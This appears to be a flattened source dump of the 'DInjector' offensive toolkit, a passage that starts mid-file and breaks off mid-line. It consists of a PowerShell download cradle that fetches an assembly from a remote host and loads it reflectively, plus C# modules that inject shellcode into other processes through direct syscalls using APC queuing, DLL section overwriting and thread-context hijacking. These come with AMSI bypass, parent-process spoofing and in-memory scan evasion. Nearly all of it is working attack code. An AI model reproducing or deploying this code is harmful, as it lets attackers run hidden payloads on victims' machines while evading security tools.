inject into (used in "remotethreadkernelcb", "remotethreadapc", "remotethreadcontext", "processhollowing" and "modulestomping") 52 | # if there're spaces in the image path, replace them with asterisk (*) characters (e.g., C:\Program Files\Mozilla Firefox\firefox.exe -> C:\Program*Files\Mozilla*Firefox\firefox.exe) 53 | $K = "C:\Windows\System32\svchost.exe" 54 | 55 | # existing process name to inject into (used in "remotethread", "remotethreaddll", "remotethreadview", "remotethreadsuspended") 56 | $L = "notepad" 57 | 58 | # parent process name to spoof the original value (use "0" to disable PPID spoofing, used in "remotethreadkernelcb", "remotethreadapc", "remotethreadcontext", "processhollowing" and "modulestomping") 59 | $M = "explorer" 60 | 61 | # [/dll] loaded module (DLL) name to overwrite its .text section for storing the shellcode (used in "remotethreaddll") 62 | $N = "msvcp_win.dll" 63 | 64 | # [/stompDll] name of the module (DLL) to stomp (used in "modulestomping") 65 | $O = "xpsservices.dll" 66 | 67 | # [/stompExport] exported function name to overwrite (used in "modulestomping") 68 | $P = "DllCanUnloadNow" 69 | 70 | # [/sleep] number of seconds (approx.) to sleep before execution to evade potential in-memory scan (10s-60s) 71 | $Q = 0 72 | 73 | # [/blockDlls] block 3rd-party DLLs ("True" / "False", used in "remotethreadkernelcb", "remotethreadapc", "remotethreadcontext", "processhollowing" and "modulestomping") 74 | $R = "True" 75 | 76 | # [/am51] bypass AMSI for current process ("True" / "False" / "Force") 77 | $S = "True" 78 | 79 | # [/remoteAm51] bypass AMSI for remote process ("True" / "False" / "Force", used in "remotethreadkernelcb", "remotethreadapc", "remotethreadcontext", "processhollowing" and "modulestomping", "remotethreadkernelcb", "remotethreadapc", "remotethreadcontext", "processhollowing" and "modulestomping") 80 | $T = "True" 81 | 82 | # [/unhook] unhook ntdll.dll ("True" / "False") 83 | $U = "False" 84 | 85 | # [/debug] print debug messages ("True" / "False") 86 | $V = "False" 87 | 88 | # -------------------------------------------------------------------- 89 | 90 | $methods = @("remotethread", "remotethreaddll", "remotethreadview", "remotethreadsuspended") 91 | if ($methods.Contains($A)) { 92 | $L = (Start-Process -WindowStyle Hidden -PassThru $L).Id 93 | } 94 | 95 | $methods = @("remotethreadkernelcb", "remotethreadapc", "remotethreadcontext", "processhollowing", "modulestomping") 96 | if ($methods.Contains($A)) { 97 | try { 98 | $M = (Get-Process $M -ErrorAction Stop).Id 99 | # if multiple processes exist with the same name, arbitrary select the first one 100 | if ($M -is [array]) { 101 | $M = $M[0] 102 | } 103 | } 104 | catch { 105 | $M = 0 106 | } 107 | } 108 | 109 | $cmd = "${A} /sc:http://${B}:${C}/${E} /p:${F} /protect:${G} /timeout:${H} /flipSleep:${I} /fluctuate:${J} /image:${K} /pid:${L} /ppid:${M} /dll:${N} /stompDll:${O} /stompExport:${P} /sleep:${Q} /blockDlls:${R} /am51:${S} /remoteAm51:${T} /unhook:${U} /debug:${V}" 110 | 111 | $data = (IWR -UseBasicParsing "http://${B}:${C}/${D}").Content 112 | $assem = [System.Reflection.Assembly]::Load($data) 113 | 114 | $flags = [Reflection.BindingFlags] "Public,NonPublic,Static" 115 | 116 | $class = $assem.GetType("DInjector.Detonator", $flags) 117 | $entry = $class.GetMethod("Boom", $flags) 118 | 119 | $entry.Invoke($null, (, $cmd)) 120 | -------------------------------------------------------------------------------- /DInjector/Utils/SpawnProcess.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Runtime.InteropServices; 4 | 5 | using DI = DInvoke; 6 | 7 | namespace DInjector 8 | { 9 | /// 10 | /// Based on: 11 | /// https://offensivedefence.co.uk/posts/ppidspoof-blockdlls-dinvoke/ 12 | /// https://github.com/rasta-mouse/TikiTorch/blob/master/TikiLoader/Utilities.cs 13 | /// 14 | class SpawnProcess 15 | { 16 | public static bool Is64Bit => IntPtr.Size == 8; 17 | 18 | public static DI.Data.Win32.ProcessThreadsAPI._PROCESS_INFORMATION Execute(string processImage, string workingDirectory, bool suspended, int ppid, bool blockDlls, bool am51) 19 | { 20 | var startupInfoEx = new DI.Data.Win32.ProcessThreadsAPI._STARTUPINFOEX(); 21 | startupInfoEx.StartupInfo.cb = (uint)Marshal.SizeOf(startupInfoEx); 22 | startupInfoEx.StartupInfo.dwFlags = (uint)DI.Data.Win32.Kernel32.STARTF.STARTF_USESHOWWINDOW; 23 | 24 | var lpValue = Marshal.AllocHGlobal(IntPtr.Size); 25 | var lpSize = IntPtr.Zero; 26 | 27 | var attributeCount = 0; 28 | if (ppid != 0) attributeCount++; 29 | if (blockDlls) attributeCount++; 30 | 31 | // Should be false the first time, lpSize is given a value 32 | _ = Win32.InitializeProcThreadAttributeList( 33 | IntPtr.Zero, 34 | attributeCount, 35 | ref lpSize); 36 | 37 | startupInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize); 38 | 39 | // Should be true now 40 | var result = Win32.InitializeProcThreadAttributeList( 41 | startupInfoEx.lpAttributeList, 42 | attributeCount, 43 | ref lpSize); 44 | 45 | if (result) 46 | Console.WriteLine("(SpawnProcess) [+] InitializeProcThreadAttributeList"); 47 | else 48 | throw new Exception("(SpawnProcess) [-] InitializeProcThreadAttributeList"); 49 | 50 | if (blockDlls) 51 | { 52 | Marshal.WriteIntPtr(lpValue, 53 | Is64Bit ? 54 | new IntPtr(DI.Data.Win32.Kernel32.BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON) 55 | : new IntPtr(unchecked((uint)DI.Data.Win32.Kernel32.BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON))); 56 | 57 | result = Win32.UpdateProcThreadAttribute( 58 | startupInfoEx.lpAttributeList, 59 | (IntPtr)DI.Data.Win32.Kernel32.PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, 60 | lpValue); 61 | 62 | if (result) 63 | Console.WriteLine("(SpawnProcess) [+] UpdateProcThreadAttribute (blockDLLs)"); 64 | else 65 | throw new Exception("(SpawnProcess) [-] UpdateProcThreadAttribute (blockDLLs)"); 66 | } 67 | 68 | if (ppid != 0) 69 | { 70 | var hParent = Process.GetProcessById(ppid).Handle; 71 | lpValue = Marshal.AllocHGlobal(IntPtr.Size); 72 | Marshal.WriteIntPtr(lpValue, hParent); 73 | 74 | result = Win32.UpdateProcThreadAttribute( 75 | startupInfoEx.lpAttributeList, 76 | (IntPtr)DI.Data.Win32.Kernel32.PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, 77 | lpValue); 78 | 79 | if (result) 80 | Console.WriteLine("(SpawnProcess) [+] UpdateProcThreadAttribute (PPID)"); 81 | else 82 | throw new Exception("(SpawnProcess) [-] UpdateProcThreadAttribute (PPID)"); 83 | } 84 | 85 | var flags = DI.Data.Win32.Kernel32.EXTENDED_STARTUPINFO_PRESENT; 86 | if (suspended) flags |= (uint)DI.Data.Win32.Advapi32.CREATION_FLAGS.CREATE_SUSPENDED; 87 | 88 | if (processImage.IndexOf('*') > 0) 89 | processImage = processImage.Replace('*', ' '); 90 | 91 | result = Win32.CreateProcessA( 92 | processImage, 93 | workingDirectory, 94 | flags, 95 | startupInfoEx, 96 | out var pi); 97 | 98 | if (result) 99 | Console.WriteLine("(SpawnProcess) [+] CreateProcessA"); 100 | else 101 | throw new Exception("(SpawnProcess) [-] CreateProcessA"); 102 | 103 | _ = Win32.DeleteProcThreadAttributeList(startupInfoEx.lpAttributeList); 104 | Marshal.FreeHGlobal(lpValue); 105 | 106 | if (am51) 107 | // When patching AMSI in a sacrifical process in a suspended state, "force" option is always TRUE as we can't enumerate its loaded modules properly 108 | AM51.Patch( 109 | processHandle: pi.hProcess, 110 | processID: (int)pi.dwProcessId); 111 | 112 | return pi; 113 | } 114 | } 115 | } 116 | -------------------------------------------------------------------------------- /DInjector/DInjector.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {5086CE01-1032-4CA3-A302-6CFF2A8B64DC} 8 | Library 9 | Properties 10 | DInjector 11 | DInjector 12 | v4.5 13 | 512 14 | true 15 | 16 | 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | latestmajor 25 | true 26 | 27 | 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | true 35 | latestmajor 36 | 37 | 38 | true 39 | bin\x64\Debug\ 40 | DEBUG;TRACE 41 | full 42 | x64 43 | prompt 44 | latestmajor 45 | 46 | 47 | bin\x64\Release\ 48 | TRACE 49 | true 50 | true 51 | pdbonly 52 | x64 53 | prompt 54 | latestmajor 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | -------------------------------------------------------------------------------- /DInjector/Modules/RemoteThreadAPC.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | using DI = DInvoke; 5 | using static DInvoke.Data.Native; 6 | 7 | namespace DInjector 8 | { 9 | class RemoteThreadAPC 10 | { 11 | public static void Execute(byte[] shellcode, string processImage, int ppid = 0, bool blockDlls = false, bool am51 = false, bool debug = false) 12 | { 13 | #region CreateProcessA 14 | 15 | var pi = SpawnProcess.Execute( 16 | processImage, 17 | @"C:\Windows\System32", 18 | suspended: true, 19 | ppid: ppid, 20 | blockDlls: blockDlls, 21 | am51: am51); 22 | 23 | #endregion 24 | 25 | #region NtAllocateVirtualMemory (PAGE_READWRITE) 26 | 27 | IntPtr hProcess = pi.hProcess; 28 | IntPtr baseAddress = IntPtr.Zero; 29 | IntPtr regionSize = (IntPtr)shellcode.Length; 30 | 31 | var ntstatus = Syscalls.NtAllocateVirtualMemory( 32 | hProcess, 33 | ref baseAddress, 34 | IntPtr.Zero, 35 | ref regionSize, 36 | DI.Data.Win32.Kernel32.MEM_COMMIT | DI.Data.Win32.Kernel32.MEM_RESERVE, 37 | DI.Data.Win32.WinNT.PAGE_READWRITE); 38 | 39 | if (ntstatus == NTSTATUS.Success) 40 | Console.WriteLine("(RemoteThreadAPC) [+] NtAllocateVirtualMemory, PAGE_READWRITE"); 41 | else 42 | throw new Exception($"(RemoteThreadAPC) [-] NtAllocateVirtualMemory, PAGE_READWRITE: {ntstatus}"); 43 | 44 | #endregion 45 | 46 | #region NtWriteVirtualMemory (shellcode) 47 | 48 | var buffer = Marshal.AllocHGlobal(shellcode.Length); 49 | Marshal.Copy(shellcode, 0, buffer, shellcode.Length); 50 | 51 | uint bytesWritten = 0; 52 | 53 | ntstatus = Syscalls.NtWriteVirtualMemory( 54 | hProcess, 55 | baseAddress, 56 | buffer, 57 | (uint)shellcode.Length, 58 | ref bytesWritten); 59 | 60 | if (ntstatus == NTSTATUS.Success) 61 | Console.WriteLine("(RemoteThreadAPC) [+] NtWriteVirtualMemory, shellcode"); 62 | else 63 | throw new Exception($"(RemoteThreadAPC) [-] NtWriteVirtualMemory, shellcode: {ntstatus}"); 64 | 65 | Marshal.FreeHGlobal(buffer); 66 | 67 | #endregion 68 | 69 | #region NtProtectVirtualMemory (PAGE_EXECUTE_READ) 70 | 71 | uint oldProtect = 0; 72 | 73 | ntstatus = Syscalls.NtProtectVirtualMemory( 74 | hProcess, 75 | ref baseAddress, 76 | ref regionSize, 77 | DI.Data.Win32.WinNT.PAGE_EXECUTE_READ, 78 | ref oldProtect); 79 | 80 | if (ntstatus == NTSTATUS.Success) 81 | Console.WriteLine("(RemoteThreadAPC) [+] NtProtectVirtualMemory, PAGE_EXECUTE_READ"); 82 | else 83 | throw new Exception($"(RemoteThreadAPC) [-] NtProtectVirtualMemory, PAGE_EXECUTE_READ: {ntstatus}"); 84 | 85 | #endregion 86 | 87 | #region NtOpenThread 88 | 89 | IntPtr hThread = IntPtr.Zero; 90 | Win32.OBJECT_ATTRIBUTES oa = new Win32.OBJECT_ATTRIBUTES(); 91 | Win32.CLIENT_ID ci = new Win32.CLIENT_ID { UniqueThread = (IntPtr)pi.dwThreadId }; 92 | 93 | ntstatus = Syscalls.NtOpenThread( 94 | ref hThread, 95 | DI.Data.Win32.Kernel32.ThreadAccess.SetContext, 96 | ref oa, 97 | ref ci); 98 | 99 | if (ntstatus == NTSTATUS.Success) 100 | Console.WriteLine("(RemoteThreadAPC) [+] NtOpenThread"); 101 | else 102 | throw new Exception($"(RemoteThreadAPC) [-] NtOpenThread: {ntstatus}"); 103 | 104 | #endregion 105 | 106 | #region NtQueueApcThread 107 | 108 | ntstatus = Syscalls.NtQueueApcThread( 109 | hThread, 110 | baseAddress, 111 | IntPtr.Zero, 112 | IntPtr.Zero, 113 | IntPtr.Zero); 114 | 115 | if (ntstatus == NTSTATUS.Success) 116 | Console.WriteLine("(RemoteThreadAPC) [+] NtQueueApcThread"); 117 | else 118 | throw new Exception($"(RemoteThreadAPC) [-] NtQueueApcThread: {ntstatus}"); 119 | 120 | #endregion 121 | 122 | #region NtAlertResumeThread 123 | 124 | uint suspendCount = 0; 125 | 126 | ntstatus = Syscalls.NtAlertResumeThread( 127 | pi.hThread, 128 | ref suspendCount); 129 | 130 | if (ntstatus == NTSTATUS.Success) 131 | Console.WriteLine("(RemoteThreadAPC) [+] NtAlertResumeThread"); 132 | else 133 | throw new Exception($"(RemoteThreadAPC) [-] NtAlertResumeThread: {ntstatus}"); 134 | 135 | #endregion 136 | 137 | Syscalls.NtClose(hThread); 138 | Syscalls.NtClose(hProcess); 139 | } 140 | } 141 | } 142 | -------------------------------------------------------------------------------- /DInjector/Modules/RemoteThreadDll.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Runtime.InteropServices; 4 | 5 | using DI = DInvoke; 6 | using static DInvoke.Data.Native; 7 | 8 | namespace DInjector 9 | { 10 | class RemoteThreadDll 11 | { 12 | public static void Execute(byte[] shellcode, int processID, string moduleName, bool remoteAm51, bool forceAm51, bool debug = false) 13 | { 14 | #region NtOpenProcess 15 | 16 | IntPtr hProcess = IntPtr.Zero; 17 | Win32.OBJECT_ATTRIBUTES oa = new Win32.OBJECT_ATTRIBUTES(); 18 | Win32.CLIENT_ID ci = new Win32.CLIENT_ID { UniqueProcess = (IntPtr)processID }; 19 | 20 | var ntstatus = Syscalls.NtOpenProcess( 21 | ref hProcess, 22 | DI.Data.Win32.Kernel32.ProcessAccessFlags.PROCESS_ALL_ACCESS, 23 | ref oa, 24 | ref ci); 25 | 26 | if (ntstatus == NTSTATUS.Success) 27 | Console.WriteLine("(RemoteThreadDll) [+] NtOpenProcess"); 28 | else 29 | throw new Exception($"(RemoteThreadDll) [-] NtOpenProcess: {ntstatus}"); 30 | 31 | if (remoteAm51) 32 | AM51.Patch( 33 | processHandle: hProcess, 34 | processID: processID, 35 | force: forceAm51); 36 | 37 | #endregion 38 | 39 | Process objProcess = Process.GetProcessById(processID); 40 | foreach (ProcessModule module in objProcess.Modules) 41 | { 42 | if (module.FileName.ToLower().Contains(moduleName)) 43 | { 44 | #region NtProtectVirtualMemory (PAGE_READWRITE) 45 | 46 | IntPtr baseAddress = module.BaseAddress + 4096; 47 | 48 | IntPtr protectAddress = baseAddress; 49 | IntPtr regionSize = (IntPtr)shellcode.Length; 50 | uint oldProtect = 0; 51 | 52 | ntstatus = Syscalls.NtProtectVirtualMemory( 53 | hProcess, 54 | ref protectAddress, 55 | ref regionSize, 56 | DI.Data.Win32.WinNT.PAGE_READWRITE, 57 | ref oldProtect); 58 | 59 | if (ntstatus == NTSTATUS.Success) 60 | Console.WriteLine("(RemoteThreadDll) [+] NtProtectVirtualMemory, PAGE_READWRITE"); 61 | else 62 | throw new Exception($"(RemoteThreadDll) [-] NtProtectVirtualMemory, PAGE_READWRITE: {ntstatus}"); 63 | 64 | #endregion 65 | 66 | #region NtWriteVirtualMemory (shellcode) 67 | 68 | var buffer = Marshal.AllocHGlobal(shellcode.Length); 69 | Marshal.Copy(shellcode, 0, buffer, shellcode.Length); 70 | 71 | uint bytesWritten = 0; 72 | 73 | ntstatus = Syscalls.NtWriteVirtualMemory( 74 | hProcess, 75 | baseAddress, 76 | buffer, 77 | (uint)shellcode.Length, 78 | ref bytesWritten); 79 | 80 | if (ntstatus == NTSTATUS.Success) 81 | Console.WriteLine("(RemoteThreadDll) [+] NtWriteVirtualMemory, shellcode"); 82 | else 83 | throw new Exception($"(RemoteThreadDll) [-] NtWriteVirtualMemory, shellcode: {ntstatus}"); 84 | 85 | Marshal.FreeHGlobal(buffer); 86 | 87 | #endregion 88 | 89 | #region NtProtectVirtualMemory (oldProtect) 90 | 91 | protectAddress = baseAddress; 92 | regionSize = (IntPtr)shellcode.Length; 93 | uint tmpProtect = 0; 94 | 95 | ntstatus = Syscalls.NtProtectVirtualMemory( 96 | hProcess, 97 | ref protectAddress, 98 | ref regionSize, 99 | oldProtect, 100 | ref tmpProtect); 101 | 102 | if (ntstatus == NTSTATUS.Success) 103 | Console.WriteLine("(RemoteThreadDll) [+] NtProtectVirtualMemory, oldProtect"); 104 | else 105 | throw new Exception($"(RemoteThreadDll) [-] NtProtectVirtualMemory, oldProtect: {ntstatus}"); 106 | 107 | #endregion 108 | 109 | #region NtCreateThreadEx 110 | 111 | IntPtr hThread = IntPtr.Zero; 112 | 113 | ntstatus = Syscalls.NtCreateThreadEx( 114 | ref hThread, 115 | DI.Data.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, 116 | IntPtr.Zero, 117 | hProcess, 118 | baseAddress, 119 | IntPtr.Zero, 120 | false, 121 | 0, 122 | 0, 123 | 0, 124 | IntPtr.Zero); 125 | 126 | if (ntstatus == NTSTATUS.Success) 127 | Console.WriteLine("(RemoteThreadDll) [+] NtCreateThreadEx"); 128 | else 129 | throw new Exception($"(RemoteThreadDll) [-] NtCreateThreadEx: {ntstatus}"); 130 | 131 | #endregion 132 | 133 | Syscalls.NtClose(hThread); 134 | 135 | break; 136 | } 137 | } 138 | 139 | Syscalls.NtClose(hProcess); 140 | } 141 | } 142 | } 143 | -------------------------------------------------------------------------------- /DInjector/API/Registers.cs: -------------------------------------------------------------------------------- 1 | using System.Runtime.InteropServices; 2 | 3 | namespace DInjector 4 | { 5 | class Registers 6 | { 7 | [StructLayout(LayoutKind.Sequential)] 8 | public struct FLOATING_SAVE_AREA 9 | { 10 | public uint ControlWord; 11 | public uint StatusWord; 12 | public uint TagWord; 13 | public uint ErrorOffset; 14 | public uint ErrorSelector; 15 | public uint DataOffset; 16 | public uint DataSelector; 17 | public uint Cr0NpxState; 18 | 19 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 80)] 20 | public byte[] RegisterArea; 21 | } 22 | 23 | [StructLayout(LayoutKind.Sequential)] 24 | public struct CONTEXT 25 | { 26 | public uint ContextFlags; 27 | 28 | public uint Dr0; 29 | public uint Dr1; 30 | public uint Dr2; 31 | public uint Dr3; 32 | public uint Dr6; 33 | public uint Dr7; 34 | 35 | public FLOATING_SAVE_AREA FloatSave; 36 | 37 | public uint SegGs; 38 | public uint SegFs; 39 | public uint SegEs; 40 | public uint SegDs; 41 | 42 | public uint Edi; 43 | public uint Esi; 44 | public uint Ebx; 45 | public uint Edx; 46 | public uint Ecx; 47 | public uint Eax; 48 | 49 | public uint Ebp; 50 | public uint Eip; 51 | public uint SegCs; 52 | public uint EFlags; 53 | public uint Esp; 54 | public uint SegSs; 55 | 56 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)] 57 | public byte[] ExtendedRegisters; 58 | } 59 | 60 | [StructLayout(LayoutKind.Sequential, Pack = 16)] 61 | public struct XSAVE_FORMAT64 62 | { 63 | public ushort ControlWord; 64 | public ushort StatusWord; 65 | public byte TagWord; 66 | public byte Reserved1; 67 | public ushort ErrorOpcode; 68 | public uint ErrorOffset; 69 | public ushort ErrorSelector; 70 | public ushort Reserved2; 71 | public uint DataOffset; 72 | public ushort DataSelector; 73 | public ushort Reserved3; 74 | public uint MxCsr; 75 | public uint MxCsr_Mask; 76 | 77 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] 78 | public M128A[] FloatRegisters; 79 | 80 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] 81 | public M128A[] XmmRegisters; 82 | 83 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)] 84 | public byte[] Reserved4; 85 | } 86 | 87 | [StructLayout(LayoutKind.Sequential, Pack = 16)] 88 | public struct CONTEXT64 89 | { 90 | public ulong P1Home; 91 | public ulong P2Home; 92 | public ulong P3Home; 93 | public ulong P4Home; 94 | public ulong P5Home; 95 | public ulong P6Home; 96 | 97 | public CONTEXT_FLAGS ContextFlags; 98 | public uint MxCsr; 99 | 100 | public ushort SegCs; 101 | public ushort SegDs; 102 | public ushort SegEs; 103 | public ushort SegFs; 104 | public ushort SegGs; 105 | public ushort SegSs; 106 | public uint EFlags; 107 | 108 | public ulong Dr0; 109 | public ulong Dr1; 110 | public ulong Dr2; 111 | public ulong Dr3; 112 | public ulong Dr6; 113 | public ulong Dr7; 114 | 115 | public ulong Rax; 116 | public ulong Rcx; 117 | public ulong Rdx; 118 | public ulong Rbx; 119 | public ulong Rsp; 120 | public ulong Rbp; 121 | public ulong Rsi; 122 | public ulong Rdi; 123 | public ulong R8; 124 | public ulong R9; 125 | public ulong R10; 126 | public ulong R11; 127 | public ulong R12; 128 | public ulong R13; 129 | public ulong R14; 130 | public ulong R15; 131 | public ulong Rip; 132 | 133 | public XSAVE_FORMAT64 DUMMYUNIONNAME; 134 | 135 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 26)] 136 | public M128A[] VectorRegister; 137 | public ulong VectorControl; 138 | 139 | public ulong DebugControl; 140 | public ulong LastBranchToRip; 141 | public ulong LastBranchFromRip; 142 | public ulong LastExceptionToRip; 143 | public ulong LastExceptionFromRip; 144 | } 145 | 146 | public enum CONTEXT_FLAGS : uint 147 | { 148 | CONTEXT_i386 = 0x10000, 149 | CONTEXT_i486 = 0x10000, 150 | CONTEXT_CONTROL = CONTEXT_i386 | 0x01, 151 | CONTEXT_INTEGER = CONTEXT_i386 | 0x02, 152 | CONTEXT_SEGMENTS = CONTEXT_i386 | 0x04, 153 | CONTEXT_FLOATING_POINT = CONTEXT_i386 | 0x08, 154 | CONTEXT_DEBUG_REGISTERS = CONTEXT_i386 | 0x10, 155 | CONTEXT_EXTENDED_REGISTERS = CONTEXT_i386 | 0x20, 156 | CONTEXT_FULL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS, 157 | CONTEXT_ALL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS | CONTEXT_EXTENDED_REGISTERS 158 | } 159 | 160 | [StructLayout(LayoutKind.Sequential)] 161 | public struct M128A 162 | { 163 | public ulong High; 164 | public long Low; 165 | 166 | public override string ToString() 167 | { 168 | return string.Format("High:{0}, Low:{1}", this.High, this.Low); 169 | } 170 | } 171 | } 172 | } 173 | -------------------------------------------------------------------------------- /DInjector/Modules/RemoteThreadContext.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | using DI = DInvoke; 5 | using static DInvoke.Data.Native; 6 | 7 | namespace DInjector 8 | { 9 | class RemoteThreadContext 10 | { 11 | public static void Execute(byte[] shellcode, string processImage, int ppid = 0, bool blockDlls = false, bool am51 = false, bool debug = false) 12 | { 13 | #region CreateProcessA 14 | 15 | var pi = SpawnProcess.Execute( 16 | processImage, 17 | @"C:\Windows\System32", 18 | suspended: true, 19 | ppid: ppid, 20 | blockDlls: blockDlls, 21 | am51: am51); 22 | 23 | #endregion 24 | 25 | #region NtAllocateVirtualMemory (PAGE_READWRITE) 26 | 27 | IntPtr hProcess = pi.hProcess; 28 | IntPtr baseAddress = IntPtr.Zero; 29 | IntPtr regionSize = (IntPtr)shellcode.Length; 30 | 31 | var ntstatus = Syscalls.NtAllocateVirtualMemory( 32 | hProcess, 33 | ref baseAddress, 34 | IntPtr.Zero, 35 | ref regionSize, 36 | DI.Data.Win32.Kernel32.MEM_COMMIT | DI.Data.Win32.Kernel32.MEM_RESERVE, 37 | DI.Data.Win32.WinNT.PAGE_READWRITE); 38 | 39 | if (ntstatus == NTSTATUS.Success) 40 | Console.WriteLine("(RemoteThreadContext) [+] NtAllocateVirtualMemory, PAGE_READWRITE"); 41 | else 42 | throw new Exception($"(RemoteThreadContext) [-] NtAllocateVirtualMemory, PAGE_READWRITE: {ntstatus}"); 43 | 44 | #endregion 45 | 46 | #region NtWriteVirtualMemory (shellcode) 47 | 48 | var buffer = Marshal.AllocHGlobal(shellcode.Length); 49 | Marshal.Copy(shellcode, 0, buffer, shellcode.Length); 50 | 51 | uint bytesWritten = 0; 52 | 53 | ntstatus = Syscalls.NtWriteVirtualMemory( 54 | hProcess, 55 | baseAddress, 56 | buffer, 57 | (uint)shellcode.Length, 58 | ref bytesWritten); 59 | 60 | if (ntstatus == NTSTATUS.Success) 61 | Console.WriteLine("(RemoteThreadContext) [+] NtWriteVirtualMemory, shellcode"); 62 | else 63 | throw new Exception($"(RemoteThreadContext) [-] NtWriteVirtualMemory, shellcode: {ntstatus}"); 64 | 65 | Marshal.FreeHGlobal(buffer); 66 | 67 | #endregion 68 | 69 | #region NtProtectVirtualMemory (PAGE_EXECUTE_READ) 70 | 71 | uint oldProtect = 0; 72 | 73 | ntstatus = Syscalls.NtProtectVirtualMemory( 74 | hProcess, 75 | ref baseAddress, 76 | ref regionSize, 77 | DI.Data.Win32.WinNT.PAGE_EXECUTE_READ, 78 | ref oldProtect); 79 | 80 | if (ntstatus == NTSTATUS.Success) 81 | Console.WriteLine("(RemoteThreadContext) [+] NtProtectVirtualMemory, PAGE_EXECUTE_READ"); 82 | else 83 | throw new Exception($"(RemoteThreadContext) [-] NtProtectVirtualMemory, PAGE_EXECUTE_READ: {ntstatus}"); 84 | 85 | #endregion 86 | 87 | #region NtCreateThreadEx (LoadLibraryA, CREATE_SUSPENDED) 88 | 89 | IntPtr pkernel32 = DI.DynamicInvoke.Generic.GetPebLdrModuleEntry("kernel32.dll"); 90 | IntPtr loadLibraryAddr = DI.DynamicInvoke.Generic.GetExportAddress(pkernel32, "LoadLibraryA"); 91 | 92 | IntPtr hThread = IntPtr.Zero; 93 | 94 | ntstatus = Syscalls.NtCreateThreadEx( 95 | ref hThread, 96 | DI.Data.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, 97 | IntPtr.Zero, 98 | hProcess, 99 | loadLibraryAddr, 100 | IntPtr.Zero, 101 | true, // CREATE_SUSPENDED 102 | 0, 103 | 0, 104 | 0, 105 | IntPtr.Zero); 106 | 107 | if (ntstatus == NTSTATUS.Success) 108 | Console.WriteLine("(RemoteThreadContext) [+] NtCreateThreadEx, LoadLibraryA, CREATE_SUSPENDED"); 109 | else 110 | throw new Exception($"(RemoteThreadContext) [-] NtCreateThreadEx, LoadLibraryA, CREATE_SUSPENDED: {ntstatus}"); 111 | 112 | #endregion 113 | 114 | #region GetThreadContext 115 | 116 | Registers.CONTEXT64 ctx = new Registers.CONTEXT64(); 117 | ctx.ContextFlags = Registers.CONTEXT_FLAGS.CONTEXT_CONTROL; 118 | 119 | ntstatus = Syscalls.NtGetContextThread( 120 | hThread, 121 | ref ctx); 122 | 123 | if (ntstatus == NTSTATUS.Success) 124 | Console.WriteLine("(RemoteThreadContext) [+] NtGetContextThread"); 125 | else 126 | throw new Exception($"(RemoteThreadContext) [-] NtGetContextThread: {ntstatus}"); 127 | 128 | #endregion 129 | 130 | #region SetThreadContext 131 | 132 | ctx.Rip = (UInt64)baseAddress; 133 | 134 | ntstatus = Syscalls.NtSetContextThread( 135 | hThread, 136 | ref ctx); 137 | 138 | if (ntstatus == NTSTATUS.Success) 139 | Console.WriteLine("(RemoteThreadContext) [+] NtSetContextThread"); 140 | else 141 | throw new Exception($"(RemoteThreadContext) [-] NtSetContextThread: {ntstatus}"); 142 | 143 | #endregion 144 | 145 | #region NtResumeThread 146 | 147 | uint suspendCount = 0; 148 | 149 | ntstatus = Syscalls.NtResumeThread( 150 | hThread, 151 | ref suspendCount); 152 | 153 | if (ntstatus == NTSTATUS.Success) 154 | Console.WriteLine("(RemoteThreadContext) [+] NtResumeThread"); 155 | else 156 | throw new Exception($"(RemoteThreadContext) [-] NtResumeThread: {ntstatus}"); 157 | 158 | #endregion 159 | 160 | Syscalls.NtClose(hThread); 161 | Syscalls.NtClose(hProcess); 162 | } 163 | } 164 | } 165 | -------------------------------------------------------------------------------- /DInjector/Modules/RemoteThreadView.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | using DI = DInvoke; 5 | using static DInvoke.Data.Native; 6 | 7 | namespace DInjector 8 | { 9 | class RemoteThreadView 10 | { 11 | public static void Execute(byte[] shellcode, int processID, bool remoteAm51, bool forceAm51, bool debug = false) 12 | { 13 | #region NtOpenProcess 14 | 15 | IntPtr rhProcess = IntPtr.Zero; 16 | Win32.OBJECT_ATTRIBUTES oa = new Win32.OBJECT_ATTRIBUTES(); 17 | Win32.CLIENT_ID ci = new Win32.CLIENT_ID { UniqueProcess = (IntPtr)processID }; 18 | 19 | var ntstatus = Syscalls.NtOpenProcess( 20 | ref rhProcess, 21 | DI.Data.Win32.Kernel32.ProcessAccessFlags.PROCESS_ALL_ACCESS, 22 | ref oa, 23 | ref ci); 24 | 25 | if (ntstatus == NTSTATUS.Success) 26 | Console.WriteLine("(RemoteThreadView) [+] NtOpenProcess"); 27 | else 28 | throw new 